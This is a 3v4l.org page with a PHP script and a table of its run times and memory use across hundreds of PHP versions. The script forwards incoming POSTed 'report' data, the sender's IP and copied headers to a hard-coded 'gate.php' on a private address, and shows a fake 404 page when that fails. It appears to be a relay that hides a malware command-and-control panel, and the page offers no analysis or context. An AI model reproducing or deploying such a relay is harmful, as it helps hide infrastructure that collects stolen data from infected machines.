3v4l.org

run code in 300+ PHP versions simultaneously
<?php $redirect_url = "http://192.168.1.101/gate.php"; // check if curl is installed $loaded_extensions = get_loaded_extensions(); if (array_search('curl', $loaded_extensions) === false) die(); // check if data was received in full $real_length = intval($_SERVER['CONTENT_LENGTH']); $received_report_data = file_get_contents('php://input'); if ($real_length !== strlen($received_report_data)) die(); // extract host from redirect url if (substr($redirect_url, 0, 4) != 'http') $redirect_url = 'http://'.$redirect_url; $redirect_host = @parse_url($redirect_url, PHP_URL_HOST); function my_upload($ch, $fp, $len) { static $pos=0; // keep track of position $post_data = file_get_contents('php://input'); $data = substr($post_data, $pos, $len); $pos += strlen($data); return $data; } function curl_load($url, &$data, $headers) { clearstatcache(); $return = false; $url = trim($url); if (substr($url, 0, 4) != 'http') $url = 'http://'.$url; $ch = curl_init($url); if (!$ch) return false; curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15); curl_setopt($ch, CURLOPT_TIMEOUT, 60); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_FRESH_CONNECT, true); curl_setopt($ch, CURLOPT_DNS_USE_GLOBAL_CACHE, false); curl_setopt($ch, CURLOPT_POST, true); array_push($headers, 'Accept-Encoding: identity, *;q=0'); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $post_data = file_get_contents('php://input'); if (strlen($post_data)) { curl_setopt($ch, CURLOPT_READFUNCTION, 'my_upload'); } $curl_execute_result = @curl_exec($ch); // Check if any error occurred if (!curl_errno($ch)) { $data = $curl_execute_result; $return = true; } else { $data = ''; $return = false; } curl_close($ch); return $return; } function parse_lines($value) { return preg_split("/((\r(?!\n))|((?<!\r)\n)|(\r\n))/", $value); } $original_query = trim(@parse_url($redirect_url, PHP_URL_QUERY)); if (!strlen($original_query)) $query_string = '?'; else $query_string = '&'; $query_string .= $_SERVER['QUERY_STRING']; $query_string .= '&pass_ip='.$_SERVER['REMOTE_ADDR']; $data = ''; $headers = getallheaders(); $curl_headers_array = array(); foreach ($headers as $name=>$value) { if (strtolower($name) == 'accept-encoding' || strtolower($name) == 'connection') { } elseif (strtolower($name) == 'host') { array_push($curl_headers_array, $name.': '.$redirect_host); } else { array_push($curl_headers_array, $name.': '.$value); } } if (!curl_load($redirect_url.$query_string, $data, $curl_headers_array)) { header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); $_SERVER['REDIRECT_STATUS'] = 404; if (file_exists('404.html')) echo file_get_contents('404.html'); die(); } $headers_end_pos = strpos($data, "\r\n\r\n"); $data_start_pos = $headers_end_pos+4; if ($headers_end_pos === false) { $headers_end_pos = strpos($data, "\n\n"); $data_start_pos = $headers_end_pos+2; } if ($headers_end_pos !== false) { $lines = parse_lines(substr($data, 0, $headers_end_pos)); foreach ($lines as $line) { // do not pass "Transfer-Encoding: chunked" header if (stripos($line, 'Transfer-Encoding') === false) { header($line."\r\n"); } } die(substr($data, $data_start_pos)); } else { die($data); }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0130.00718.30
8.3.50.0150.01416.47
8.3.40.0110.00418.79
8.3.30.0090.00918.85
8.3.20.0040.00418.63
8.3.10.0070.00320.59
8.3.00.0080.00019.38
8.2.180.0150.00616.50
8.2.170.0070.00722.96
8.2.160.0160.00020.39
8.2.150.0040.00424.18
8.2.140.0050.00324.66
8.2.130.0040.00426.16
8.2.120.0040.00419.30
8.2.110.0040.00421.18
8.2.100.0090.00317.78
8.2.90.0090.00019.25
8.2.80.0050.00319.45
8.2.70.0000.00917.63
8.2.60.0050.00317.92
8.2.50.0000.00818.07
8.2.40.0080.00018.16
8.2.30.0040.00417.92
8.2.20.0060.00317.79
8.2.10.0040.00417.81
8.2.00.0120.00017.68
8.1.280.0030.01325.92
8.1.270.0060.00324.66
8.1.260.0030.00526.35
8.1.250.0090.00028.09
8.1.240.0000.01022.42
8.1.230.0120.00020.95
8.1.220.0040.00417.74
8.1.210.0040.00418.86
8.1.200.0030.00717.48
8.1.190.0040.00417.52
8.1.180.0060.00318.10
8.1.170.0000.00818.90
8.1.160.0040.00418.91
8.1.150.0090.00018.54
8.1.140.0080.00017.49
8.1.130.0040.00417.89
8.1.120.0050.00217.37
8.1.110.0000.00717.33
8.1.100.0040.00417.31
8.1.90.0000.00717.32
8.1.80.0000.00717.31
8.1.70.0030.00517.40
8.1.60.0000.00917.53
8.1.50.0000.00817.54
8.1.40.0000.00817.52
8.1.30.0040.00417.65
8.1.20.0000.00817.62
8.1.10.0000.00717.44
8.1.00.0000.00817.57
8.0.300.0030.00619.98
8.0.290.0050.00316.88
8.0.280.0030.00518.39
8.0.270.0040.00417.22
8.0.260.0040.00416.82
8.0.250.0040.00416.88
8.0.240.0040.00417.08
8.0.230.0000.00716.89
8.0.220.0000.00717.01
8.0.210.0000.00716.84
8.0.200.0070.00017.05
8.0.190.0040.00416.95
8.0.180.0040.00416.96
8.0.170.0030.00616.89
8.0.160.0070.00016.93
8.0.150.0000.00916.84
8.0.140.0060.00216.90
8.0.130.0000.00613.38
8.0.120.0080.00016.75
8.0.110.0040.00417.01
8.0.100.0020.00516.99
8.0.90.0040.00417.07
8.0.80.0030.01416.87
8.0.70.0040.00416.77
8.0.60.0030.00617.05
8.0.50.0040.00416.98
8.0.30.0130.00717.15
8.0.20.0090.01217.03
8.0.10.0040.00416.95
8.0.00.0130.01016.81
7.4.330.0000.00513.05
7.4.320.0040.00416.55
7.4.300.0040.00416.67
7.4.290.0030.00316.55
7.4.280.0060.00316.57
7.4.270.0030.00316.68
7.4.260.0030.00313.30
7.4.250.0020.00516.55
7.4.240.0030.00316.60
7.4.230.0040.00416.73
7.4.220.0100.00716.66
7.4.210.0100.00616.61
7.4.200.0070.00016.39
7.4.190.0080.00016.38
7.4.160.0120.00916.49
7.4.150.0160.00316.63
7.4.140.0140.00616.66
7.4.130.0110.00916.47
7.4.120.0090.00816.62
7.4.110.0140.00416.50
7.4.100.0140.00316.61
7.4.90.0090.00916.49
7.4.80.0100.00719.39
7.4.70.0070.01116.66
7.4.60.0080.01116.46
7.4.50.0050.00816.64
7.4.40.0070.00716.38
7.4.30.0100.00716.50
7.4.10.0140.00315.30
7.4.00.0090.00715.20
7.3.330.0030.00313.21
7.3.320.0000.00713.18
7.3.310.0030.00316.47
7.3.300.0000.00616.28
7.3.290.0100.01116.38
7.3.280.0070.01116.35
7.3.270.0130.00416.34
7.3.260.0180.00016.33
7.3.250.0100.00816.29
7.3.240.0060.01316.37
7.3.230.0120.00616.32
7.3.210.0070.01016.30
7.3.200.0070.01016.50
7.3.190.0070.01016.54
7.3.180.0170.00016.48
7.3.170.0100.00616.36
7.3.160.0060.00916.33
7.3.130.0040.01515.30
7.3.120.0100.00714.97
7.3.110.0070.01215.10
7.3.100.0070.00915.02
7.3.90.0030.01015.20
7.3.80.0020.01215.07
7.3.70.0050.00915.10
7.3.60.0060.00515.12
7.3.50.0050.00715.09
7.3.40.0030.01214.98
7.3.30.0080.00515.10
7.3.20.0030.01216.70
7.3.10.0020.00916.57
7.3.00.0030.01116.61
7.2.330.0030.01416.54
7.2.320.0100.01316.82
7.2.310.0070.01016.51
7.2.300.0110.00816.46
7.2.290.0090.01216.54
7.2.260.0030.01715.30
7.2.250.0020.01615.16
7.2.240.0050.01215.02
7.2.230.0080.00715.13
7.2.220.0050.01015.16
7.2.210.0050.00515.31
7.2.200.0050.01015.17
7.2.190.0090.00515.15
7.2.180.0020.01115.15
7.2.170.0050.00915.20
7.2.160.0070.00715.30
7.2.150.0080.00416.86
7.2.140.0130.00316.77
7.2.130.0080.00716.73
7.2.120.0070.00716.63
7.2.110.0020.01016.87
7.2.100.0120.00216.65
7.2.90.0040.00816.98
7.2.80.0050.01016.73
7.2.70.0030.00916.73
7.2.60.0030.00916.80
7.2.50.0050.01016.78
7.2.40.0110.00816.78
7.2.30.0090.00516.85
7.2.20.0110.00316.87
7.2.10.0050.00716.76
7.2.00.0070.00817.54
7.1.330.0050.00915.85
7.1.320.0020.00815.65
7.1.310.0080.00515.63
7.1.300.0050.00515.70
7.1.290.0050.00815.72
7.1.280.0070.00815.75
7.1.270.0060.00915.82
7.1.260.0020.01215.74
7.1.250.0040.00715.63
7.1.240.0040.01115.73
7.1.230.0060.00915.83
7.1.220.0060.00615.58
7.1.210.0000.01115.86
7.1.200.0050.00615.59
7.1.190.0000.01715.68
7.1.180.0080.00415.54
7.1.170.0100.00715.79
7.1.160.0120.00415.82
7.1.150.0030.00915.46
7.1.140.0030.01015.73
7.1.130.0080.00815.78
7.1.120.0040.01115.41
7.1.110.0030.01015.39
7.1.100.0070.00816.82
7.1.90.0060.00815.70
7.1.80.0030.01215.66
7.1.70.0070.00416.13
7.1.60.0100.00717.62
7.1.50.0090.00916.34
7.1.40.0030.00915.74
7.1.30.0070.00715.80
7.1.20.0070.00715.61
7.1.10.0060.01215.82
7.1.00.0030.03319.16
7.0.330.0040.00415.30
7.0.320.0030.00815.30
7.0.310.0130.00015.30
7.0.300.0030.00915.30
7.0.290.0040.01115.36
7.0.280.0050.00515.30
7.0.270.0100.00715.30
7.0.260.0000.01315.30
7.0.250.0100.00315.30
7.0.240.0000.01315.36
7.0.230.0060.00615.30
7.0.220.0000.00915.32
7.0.210.0030.00615.43
7.0.200.0040.00615.96
7.0.190.0090.00315.30
7.0.180.0070.00315.30
7.0.170.0030.00615.37
7.0.160.0100.00315.30
7.0.150.0040.00415.33
7.0.140.0040.03718.68
7.0.130.0030.01015.30
7.0.120.0020.02218.68
7.0.110.0070.00715.30
7.0.100.0100.00715.30
7.0.90.0030.00515.30
7.0.80.0060.00915.30
7.0.70.0040.01415.30
7.0.60.0040.02217.69
7.0.50.0070.04616.71
7.0.40.0120.04817.67
7.0.30.0150.04217.74
7.0.20.0120.02717.76
7.0.10.0100.05017.66
7.0.00.0110.04117.66
5.6.400.0050.00515.30
5.6.390.0060.01015.30
5.6.380.0000.01015.30
5.6.370.0070.00715.30
5.6.360.0080.00415.30
5.6.350.0090.00915.30
5.6.340.0100.00315.30
5.6.330.0040.01515.30
5.6.320.0030.01015.30
5.6.310.0000.01015.30
5.6.300.0030.00915.30
5.6.290.0040.01115.30
5.6.280.0030.04018.20
5.6.270.0040.01215.30
5.6.260.0040.00415.30
5.6.250.0110.00415.30
5.6.240.0090.00915.30
5.6.230.0130.00615.30
5.6.220.0100.00315.30
5.6.210.0030.05317.95
5.6.200.0050.04816.76
5.6.190.0210.04017.91
5.6.180.0100.02717.95
5.6.170.0150.03617.92
5.6.160.0120.03817.92
5.6.150.0130.04217.86
5.6.140.0150.03717.91
5.6.130.0120.02417.91
5.6.120.0120.03017.84
5.6.110.0170.03817.90
5.6.100.0100.02817.89
5.6.90.0170.04017.83
5.6.80.0130.04217.55
5.6.70.0160.04117.48
5.6.60.0150.03917.56
5.6.50.0160.04217.56
5.6.40.0160.03317.41
5.6.30.0210.02117.42
5.6.20.0100.03017.41
5.6.10.0070.03717.59
5.6.00.0100.04217.57
5.5.380.0030.01615.30
5.5.370.0110.00715.30
5.5.360.0070.00715.30
5.5.350.0070.02517.88
5.5.340.0080.03816.66
5.5.330.0160.04117.88
5.5.320.0160.01817.89
5.5.310.0120.03517.71
5.5.300.0150.04417.75
5.5.290.0150.04117.64
5.5.280.0130.04517.82
5.5.270.0130.02817.64
5.5.260.0180.02817.79
5.5.250.0140.04217.65
5.5.240.0160.04517.45
5.5.230.0180.02817.48
5.5.220.0170.04317.50
5.5.210.0070.03617.34
5.5.200.0140.04117.49
5.5.190.0170.04217.39
5.5.180.0190.03617.41
5.5.170.0150.00615.30
5.5.160.0250.04017.39
5.5.150.0080.02817.47
5.5.140.0120.02517.39
5.5.130.0100.02317.38
5.5.120.0120.02017.38
5.5.110.0120.02217.48
5.5.100.0100.02317.34
5.5.90.0080.02517.38
5.5.80.0120.02117.34
5.5.70.0080.02317.26
5.5.60.0150.02517.26
5.5.50.0130.02817.33
5.5.40.0130.01817.33
5.5.30.0080.02617.39
5.5.20.0110.02617.38
5.5.10.0100.02517.33
5.5.00.0200.03017.36
5.4.450.0120.04617.39
5.4.440.0150.03017.25
5.4.430.0100.02717.39
5.4.420.0140.03217.38
5.4.410.0170.02817.18
5.4.400.0150.03517.09
5.4.390.0190.03217.19
5.4.380.0170.03717.19
5.4.370.0200.03517.09
5.4.360.0210.02317.20
5.4.350.0150.02717.22
5.4.340.0110.03617.14
5.4.330.0050.00315.30
5.4.320.0100.03517.27
5.4.310.0120.03117.14
5.4.300.0150.01817.22
5.4.290.0130.02217.27
5.4.280.0130.01817.14
5.4.270.0070.02217.27
5.4.260.0100.02317.07
5.4.250.0100.02217.22
5.4.240.0100.02017.27
5.4.230.0140.02017.22
5.4.220.0100.01817.25
5.4.210.0100.02117.23
5.4.200.0120.01817.27
5.4.190.0100.02317.25
5.4.180.0100.01817.27
5.4.170.0180.02417.27
5.4.160.0080.02117.14
5.4.150.0130.02017.22
5.4.140.0090.02115.89
5.4.130.0090.02115.88
5.4.120.0100.01715.86
5.4.110.0070.02115.81
5.4.100.0080.02116.01
5.4.90.0150.01715.87
5.4.80.0090.02215.87
5.4.70.0080.02015.80
5.4.60.0090.02615.90
5.4.50.0130.02415.79
5.4.40.0120.03015.85
5.4.30.0210.02315.79
5.4.20.0100.03015.91
5.4.10.0170.03515.89
5.4.00.0150.03815.61
5.3.290.0130.02415.03
5.3.280.0070.02314.97
5.3.270.0100.02014.98
5.3.260.0070.02414.98
5.3.250.0120.02214.93
5.3.240.0050.02314.97
5.3.230.0100.02314.98
5.3.220.0120.01714.97
5.3.210.0110.02114.90
5.3.200.0100.01814.91
5.3.190.0120.02014.98
5.3.180.0050.02414.96
5.3.170.0100.02214.91
5.3.160.0130.02915.02
5.3.150.0080.02414.96
5.3.140.0180.02314.95
5.3.130.0130.02314.98
5.3.120.0120.02514.90
5.3.110.0110.02814.96
5.3.100.0120.03014.71
5.3.90.0140.03914.69
5.3.80.0100.04114.65
5.3.70.0130.03814.69
5.3.60.0110.04014.70
5.3.50.0130.04014.72
5.3.40.0100.03814.66
5.3.30.0200.03214.70
5.3.20.0080.03414.49
5.3.10.0150.01814.46
5.3.00.0170.02714.56
5.2.170.0170.06312.79
5.2.160.0130.06712.79
5.2.150.0200.06012.79
5.2.140.0130.06712.79
5.2.130.0130.05312.79
5.2.120.0230.06012.79
5.2.110.0170.04012.79
5.2.100.0100.04312.79
5.2.90.0130.06712.79
5.2.80.0100.04012.79
5.2.70.0200.06012.79
5.2.60.0170.06012.79
5.2.50.0230.06012.79
5.2.40.0370.04012.79
5.2.30.0170.05712.79
5.2.20.0200.05712.79
5.2.10.0230.05012.79
5.2.00.0170.04012.79
5.1.60.0200.03712.79
5.1.50.0230.04012.79
5.1.40.0170.05012.79
5.1.30.0130.03712.79
5.1.20.0130.03312.79
5.1.10.0170.03312.79
5.1.00.0130.04712.79
5.0.50.0070.02712.79
5.0.40.0070.04312.79
5.0.30.0070.05012.79
5.0.20.0100.03312.79
5.0.10.0100.04312.79
5.0.00.0100.05312.79
4.4.90.0100.03012.79
4.4.80.0130.03012.79
4.4.70.0070.03712.79
4.4.60.0100.03012.79
4.4.50.0130.03012.79
4.4.40.0070.04712.79
4.4.30.0130.02312.79
4.4.20.0130.03012.79
4.4.10.0030.02312.79
4.4.00.0130.05012.79
4.3.110.0070.03312.79
4.3.100.0070.03012.79
4.3.90.0070.02712.79
4.3.80.0030.03012.79
4.3.70.0070.03712.79
4.3.60.0070.03012.79
4.3.50.0130.03012.79
4.3.40.0130.03312.79
4.3.30.0030.02712.79
4.3.20.0100.01312.79
4.3.10.0030.03012.79
4.3.00.0030.03712.79

preferences:
53.51 ms | 401 KiB | 5 Q